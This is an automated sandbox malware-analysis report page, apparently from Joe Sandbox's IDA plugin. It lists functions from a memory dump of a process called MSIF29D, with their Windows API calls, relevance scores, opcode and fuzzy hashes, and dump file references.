Opcode Fuzzy Hash: b2920cc1b631e7ef2dbecc5dc6a9e565232302e6bcb904f3271462a4f470e9fa
Instruction Fuzzy Hash: 5511A732E046549BC7359F5AD944BB6F7ACEB85B25F00052AED15D3240EB35AC00DA90

Function 00FDE270 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b8607f755f17a23646f2bf370a959f638319f8f7f89048cc653de111095432
Instruction ID: 0609cc19b13da9a5a730febc8c1363aa527d1160d78842d007376a21c700fedc
Opcode Fuzzy Hash: c3b8607f755f17a23646f2bf370a959f638319f8f7f89048cc653de111095432
Instruction Fuzzy Hash: 01F14071E002199FDF14DF68D9806ADB7B2FF98324F19826AE915EB380D731AD01DB90

Function 00FE7B1F Relevance: 1.9, APIs: 1, Instructions: 408timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00FE7F64,00000000,00000000,00000000), ref: 00FE7E23

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: ab59af066ee1b5407972acfc39dd5f0440874e4979137e69b9c89a9e31d802ff
Instruction ID: 0f12bb33b7e9e3b7cccd4048f1f39707982427832551a0578e8eebbd57ec1603
Opcode Fuzzy Hash: ab59af066ee1b5407972acfc39dd5f0440874e4979137e69b9c89a9e31d802ff
Instruction Fuzzy Hash: 01C13472D04355ABDB21BB66DC02ABEB7B9EF44720F244466F940EB285F7359E00E790

Function 00FE84BD Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00FE84B8,?,?,00000008,?,?,00FF14E4,00000000), ref: 00FE86EA

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 6e7433a816c3bb862fa42261b5f2f9cea9a328750ed66855179f3ec2e51cc971
Instruction ID: da487117134fda79e2b7a7682135833c659929852e790783f8fb9bb1d8a28bea
Opcode Fuzzy Hash: 6e7433a816c3bb862fa42261b5f2f9cea9a328750ed66855179f3ec2e51cc971
Instruction Fuzzy Hash: 9AB16C32610648CFD714DF29C486B647BA1FF453A4F298658E89ECF2A1CB35ED82DB40

Function 00FD35A9 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00FD35BF

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: c50c54148f1959df08aae0639bb1ddd716d692e5edaa2aa75cbf3aad2f2a79ff
Instruction ID: aab2362d1c0d67ca7cff9c567f39e53fa9f374e9ec36f6898ab2724201c4f04e
Opcode Fuzzy Hash: c50c54148f1959df08aae0639bb1ddd716d692e5edaa2aa75cbf3aad2f2a79ff
Instruction Fuzzy Hash: DE51B2B1D142158BEB26CF98D481BA9BBF1FB04354F28816BD945EB344D379EA00DF61

Function 00FEAF79 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89afc03bb1bfe5b568300491dde5f69b95c86fe9d2f1bf5f1ff780807daf8dc0
Instruction ID: 571656679227bc2f145668347566de1f4c3c8d579c7fcf84a0705d4910744c69
Opcode Fuzzy Hash: 89afc03bb1bfe5b568300491dde5f69b95c86fe9d2f1bf5f1ff780807daf8dc0
Instruction Fuzzy Hash: 7231D97290025DAFCB20DFA9CC85DBBB76DEB84320F144199F91597244EA35ED409B90

Function 00FEE48A Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00FE57CC: GetLastError.KERNEL32(?,00000008,00FEAD4C), ref: 00FE57D0
Part of subcall function 00FE57CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00FE5872

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00FEE4DE

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2611d23852f548a38625821d18148102fe20731a5ababc418022c94c9230c3f6
Instruction ID: 1f7d3ce80fbd831faf08ce0c528628f531f7a9995cc18fb5a3afac5055d00e0b
Opcode Fuzzy Hash: 2611d23852f548a38625821d18148102fe20731a5ababc418022c94c9230c3f6
Instruction Fuzzy Hash: 9F219572A14346ABDB28AF26EC41A7A73ADEF44728F18007AF906C6141FB78DD04E751

Function 00FEE111 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FE57CC: GetLastError.KERNEL32(?,00000008,00FEAD4C), ref: 00FE57D0
Part of subcall function 00FE57CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00FE5872

EnumSystemLocalesW.KERNEL32(00FEE237,00000001,00000000,?,-00000050,?,00FEE868,00000000,?,?,?,00000055,?), ref: 00FEE183

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 039f5ed843fea259e057bb677bcd515c2e1438a55803d05458936d3ba7e3782e
Instruction ID: 4b257e0f2e7e34de62578de8e4c41ce049cafc17855d8b3c191ebeb48ace15d7
Opcode Fuzzy Hash: 039f5ed843fea259e057bb677bcd515c2e1438a55803d05458936d3ba7e3782e
Instruction Fuzzy Hash: BB114C3B6007059FDB189F3ADC915BAB796FF84728B19442CE54647B40E375B943DB40

Function 00FEE6B9 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00FE57CC: GetLastError.KERNEL32(?,00000008,00FEAD4C), ref: 00FE57D0
Part of subcall function 00FE57CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00FE5872

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00FEE453,00000000,00000000,?), ref: 00FEE6E5

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 59634203324f4c24d658731446846b0b42e489cb07b7ef9ce3e0020e5fbfee3b
Instruction ID: da110de826c8140e08d4e61113e447d85e163bc2503cd83c8914422068569502
Opcode Fuzzy Hash: 59634203324f4c24d658731446846b0b42e489cb07b7ef9ce3e0020e5fbfee3b
Instruction Fuzzy Hash: A8F02D36E00256BBDB285B62DC05BBA7758EB40764F140425ED25A3180EA34FD01E690

Function 00FEE1AC Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FE57CC: GetLastError.KERNEL32(?,00000008,00FEAD4C), ref: 00FE57D0
Part of subcall function 00FE57CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00FE5872

EnumSystemLocalesW.KERNEL32(00FEE48A,00000001,?,?,-00000050,?,00FEE82C,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00FEE1F6

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: aaf1bc6d694fa94ec92f19a324b1897147a0f6528f834e3d56bcd17226159be2
Instruction ID: 5fe0281f6b33cffd3f77b57564d7bf213f16987f9dd3366112a2835cc53a5ba9
Opcode Fuzzy Hash: aaf1bc6d694fa94ec92f19a324b1897147a0f6528f834e3d56bcd17226159be2
Instruction Fuzzy Hash: 94F08B367003485FCB246F36EC85A7A7B99FF80778F04442CFA018B680D2B5AC42EB50

Function 00FE7132 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FE1C9A: EnterCriticalSection.KERNEL32(-0100DE50,?,00FE3576,?,0100A078,0000000C,00FE3841,?), ref: 00FE1CA9

EnumSystemLocalesW.KERNEL32(00FE7125,00000001,0100A1D8,0000000C,00FE7554,00000000), ref: 00FE716A

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 55baed637f65a30ffe0a93a1ddf057c58d26ad1048abb9c8a7eae93bbffbe2d0
Instruction ID: 95cf4757132f46c4677de24d7643a0b7487bbe322c8fa7dc68ed515955dd46b0
Opcode Fuzzy Hash: 55baed637f65a30ffe0a93a1ddf057c58d26ad1048abb9c8a7eae93bbffbe2d0
Instruction Fuzzy Hash: 21F03772A44344DFE711EF99E846B9877E0FB48722F10496AF510EB290EB7A8900AB51

Function 00FEE0C6 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00FE57CC: GetLastError.KERNEL32(?,00000008,00FEAD4C), ref: 00FE57D0
Part of subcall function 00FE57CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00FE5872

EnumSystemLocalesW.KERNEL32(00FEE01F,00000001,?,?,?,00FEE88A,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00FEE0FD

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 17782f561db00ba6ba0af72b238ad3d981a36b59e33300abb7c83dbdba06b8b3
Instruction ID: 3340ff305b58fed0051a7e871dac229efe21c86b7734c7af467ad83e1d052c5b
Opcode Fuzzy Hash: 17782f561db00ba6ba0af72b238ad3d981a36b59e33300abb7c83dbdba06b8b3
Instruction Fuzzy Hash: E5F02B3A70034997CB04AF36EC4567ABF95EFC1B64F0A4059EB058B651C676D882E790

Function 00FD23F8 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,00000022,00000000,00000002,?,?,00FD00E2,00000000,00000000,00000004,00FCED14,00000000,00000004,00FCF127,00000000,00000000), ref: 00FD2410

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 664766ef386465015d81b46d52c5d78122846f5305af19d3f37911c7133a9be2
Instruction ID: 3f9beb60eb80562b71592df438de5c72fed9e67c058c93a05d97ea03809b9636
Opcode Fuzzy Hash: 664766ef386465015d81b46d52c5d78122846f5305af19d3f37911c7133a9be2
Instruction Fuzzy Hash: F5E06832A90104B6D741EBB89E0FFBA769EEB02319F540142ED02D01D2CAA1CA00F1A0

Function 00FE76AF Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00FE4E3F,?,20001004,00000000,00000002,?,?,00FE4441), ref: 00FE76E3

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: e6fc5932d565b9bba3d1ca59ec7ecebb6fd0a4b650f1a438c6658c8827c10e8d
Instruction ID: 9e2a92cbc232b2e4267048564b578300e5ba09db22051d28c1ce58a92b57eb42
Opcode Fuzzy Hash: e6fc5932d565b9bba3d1ca59ec7ecebb6fd0a4b650f1a438c6658c8827c10e8d
Instruction Fuzzy Hash: 47E04F3250875DBBCF123F62DC08AAEBE2AEF44760F104020FD0565120CB758920FAD5

Function 00FD353F Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002354B,00FD3077), ref: 00FD3544

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 37c51890ad46f6cd5f7f7d07532392d995e316d909c48304dd0f87cfc7de2346
Instruction ID: af8b235f6250bc6a60639653de5582a2c20ab1e36ffe51cd2c3370706d2543b0
Opcode Fuzzy Hash: 37c51890ad46f6cd5f7f7d07532392d995e316d909c48304dd0f87cfc7de2346
Instruction Fuzzy Hash:

Function 00FB2310 Relevance: 1.3, APIs: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD2C98: EnterCriticalSection.KERNEL32(0100DD3C,?,?,?,00FB23B6,0100E638,8F6E4A30,?,?,00FF3D6D,000000FF), ref: 00FD2CA3
Part of subcall function 00FD2C98: LeaveCriticalSection.KERNEL32(0100DD3C,?,?,?,00FB23B6,0100E638,8F6E4A30,?,?,00FF3D6D,000000FF), ref: 00FD2CE0

GetProcessHeap.KERNEL32 ref: 00FB2365

Part of subcall function 00FD2C4E: EnterCriticalSection.KERNEL32(0100DD3C,?,?,00FB2427,0100E638,00FF6B40), ref: 00FD2C58
Part of subcall function 00FD2C4E: LeaveCriticalSection.KERNEL32(0100DD3C,?,?,00FB2427,0100E638,00FF6B40), ref: 00FD2C8B
Part of subcall function 00FD2C4E: RtlWakeAllConditionVariable.NTDLL ref: 00FD2D02

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionHeapProcessVariableWake
String ID:
API String ID: 325507722-0
Opcode ID: 6a4d59f1f6fdf23300f80fd616764bc7931ffcc8bcbf4b8ea3b6fdcf40536912
Instruction ID: 762fce2288a1dcaa8caca45fb37eb7d07a593407b4143e9aee77b572fbb34a9d
Opcode Fuzzy Hash: 6a4d59f1f6fdf23300f80fd616764bc7931ffcc8bcbf4b8ea3b6fdcf40536912
Instruction Fuzzy Hash: AA21DEB1901604DFE362DF68FC05B88B7B0E7183A0F040A59E5A5B73C4DB3A5A049F52

Function 00FE0A48 Relevance: .7, Instructions: 655COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: c8be701706672502347744ee385a29e4b982556497efb68b5e76dd04359ca494
Instruction ID: 546c3c9dca8a9ea253c24e9d0f4226ffc41f66df49c82b12378650a9dad7e2d3
Opcode Fuzzy Hash: c8be701706672502347744ee385a29e4b982556497efb68b5e76dd04359ca494
Instruction Fuzzy Hash: 1B32AD34E0025ACFCF28CF9AC991ABEB7B5EF44314F244169D945A7305DB36AE46DB80

Function 00FE92A9 Relevance: .6, Instructions: 637COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72685e2966dcd025d347ac902c6aa1cd3bc3393f4434d98083e58df76a439278
Instruction ID: 42a87bb140e78eea3bbe9505ff2466bf9ecb9cd949f05d077de4436b399ded09
Opcode Fuzzy Hash: 72685e2966dcd025d347ac902c6aa1cd3bc3393f4434d98083e58df76a439278
Instruction Fuzzy Hash: F3321621D29F454DD7239635CC22339A24DAFB73D4F15D737F81AB5AAAEB68C4836100

Function 00FDA915 Relevance: .4, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e20835bd9350873dcd936b784dae98d9e835047040e7e6a2d4dde668152f0069
Instruction ID: eb1922a5c3001679ac4fcd5b2e9c3369d6149a8e9d964e6e0681ed71f5710edd
Opcode Fuzzy Hash: e20835bd9350873dcd936b784dae98d9e835047040e7e6a2d4dde668152f0069
Instruction Fuzzy Hash: A2E19B70A006058FCB24CF68C590A6EB7B3FF49320B29465BD4569B391D735ED42EB1B

Function 00FDA587 Relevance: .3, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4353a6ba3405d53207578ed3754f5c87abfcc9a72c36e95c8131979582fc97f9
Instruction ID: de5929831b3b92523ce8a8ed20057baa66d893f5f1e44f483063b6f51155291d
Opcode Fuzzy Hash: 4353a6ba3405d53207578ed3754f5c87abfcc9a72c36e95c8131979582fc97f9
Instruction Fuzzy Hash: 15C19B709006468FCB29CF28C49466EBBB3BB45320F2C461BD89697391C735ED46FB5A

Function 00FED8D5 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: a9dd40e42dfce0975ebc977aad02b75da7af12a3826aa53b754319efc62f3dda
Instruction ID: 9082f40d55c254b0e28b47afe3c9727ec617ac9194218e3320038536ff6b23e0
Opcode Fuzzy Hash: a9dd40e42dfce0975ebc977aad02b75da7af12a3826aa53b754319efc62f3dda
Instruction Fuzzy Hash: 2FB108759007818BDB38AF26CC92BB7B3A9EF44718F14456DE94386A81F779E941E700

Function 00FDC2CA Relevance: .2, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
